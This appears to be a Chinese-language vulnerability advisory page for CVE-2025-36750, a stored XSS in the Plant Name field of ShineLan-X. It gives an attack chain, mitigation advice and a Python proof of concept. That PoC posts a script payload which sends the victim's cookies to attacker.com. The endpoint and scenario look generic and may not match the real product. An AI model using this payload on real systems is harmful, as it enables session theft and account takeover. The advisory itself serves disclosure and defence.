IPBUF安全漏洞报告
English
CVE-2025-36750 CVSS 5.4 中危

CVE-2025-36750: ShineLan-X Plant Name字段存储型XSS漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-36750
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ShineLan-X

相关标签

存储型XSSShineLan-XCVE-2025-36750跨站脚本Web安全输入验证不足Plant Name字段

漏洞概述

CVE-2025-36750是ShineLan-X系统中存在的存储型跨站脚本(XSS)漏洞。该漏洞位于植物名称(Plant Name)字段,攻击者可以通过直接POST请求提交恶意HTML/JavaScript payload,该payload会被永久存储在系统中。当其他用户访问植物管理页面时,恶意代码会在受害者浏览器中执行。由于该漏洞为存储型XSS,恶意脚本会持续存在于系统中,每次有用户访问受污染页面都会触发攻击。此漏洞可能导致窃取用户会话Cookie、劫持用户操作、篡改页面内容或进行钓鱼攻击等严重后果。攻击者利用低权限账户即可实施攻击,但需要诱导其他用户访问包含恶意payload的页面才能完成完整攻击链。

技术细节

ShineLan-X的Plant Name字段存在输入验证不足的安全缺陷。攻击者可以直接通过HTTP POST请求向植物管理功能提交包含恶意JavaScript代码的植物名称。当该记录被保存后,恶意payload会永久存储在数据库中。系统在其他用户访问植物管理列表页面时,未对输出内容进行充分的HTML转义或安全过滤,直接将存储的Plant Name字段值渲染到页面HTML中。这导致嵌入的JavaScript代码在受害者浏览器中作为合法脚本执行。由于payload存储在服务器端,这种攻击比反射型XSS更具危害性,因为攻击不需要构造特殊URL诱骗用户点击。攻击者可以利用此漏洞窃取受害者的认证会话令牌、执行任意操作或传播恶意内容。CVSS 3.1评分5.4反映了该漏洞通过网络可利用、需要低权限但需要用户交互的特点。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为ShineLan-X,获取植物管理功能的API端点
STEP 2
步骤2: 账户获取
攻击者使用低权限账户登录系统或注册新账户
STEP 3
步骤3: 恶意Payload提交
通过HTTP POST请求向/api/plants/add端点提交包含XSS payload的Plant Name字段
STEP 4
步骤4: Payload存储
恶意HTML/JavaScript代码被存储到数据库的植物记录中
STEP 5
步骤5: 诱导访问
攻击者诱骗合法用户(如管理员)访问植物管理页面
STEP 6
步骤6: 恶意代码执行
受害者浏览器加载页面时,未转义的payload作为JavaScript执行
STEP 7
步骤7: 敏感信息窃取
恶意脚本窃取用户Cookie、会话令牌或其他敏感数据并发送到攻击者服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-36750 PoC - Stored XSS in ShineLan-X Plant Name Field # This PoC demonstrates how to inject malicious JavaScript via the Plant Name parameter import requests import json TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/login" PLANT_ADD_URL = f"{TARGET_URL}/api/plants/add" # Malicious XSS payload XSS_PAYLOAD = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Step 1: Authenticate with low-privilege account def login(username, password): session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data) return session if response.status_code == 200 else None # Step 2: Inject XSS payload via Plant Name field def inject_xss(session): plant_data = { "name": XSS_PAYLOAD, "description": "Normal plant description", "location": "Greenhouse A" } response = session.post(PLANT_ADD_URL, json=plant_data) return response.status_code == 200 # Step 3: When victim visits plant management page, XSS executes # The injected script will steal cookies and send to attacker if __name__ == "__main__": print("CVE-2025-36750 PoC - ShineLan-X Stored XSS") session = login("regular_user", "password123") if session and inject_xss(session): print("[+] XSS payload injected successfully!") print("[+] Payload stored in Plant Name field") print("[+] Attack will execute when victims view plant management page")

影响范围

ShineLan-X (版本未知)

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)上配置规则,过滤Plant Name字段中的<script>标签和JavaScript事件处理器(如onerror、onload等)。同时对输出到页面的用户输入启用HTML编码,禁用不必要的HTML标签渲染。对于高风险场景,可临时禁用植物管理功能的管理界面访问,限制特定IP或用户组的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表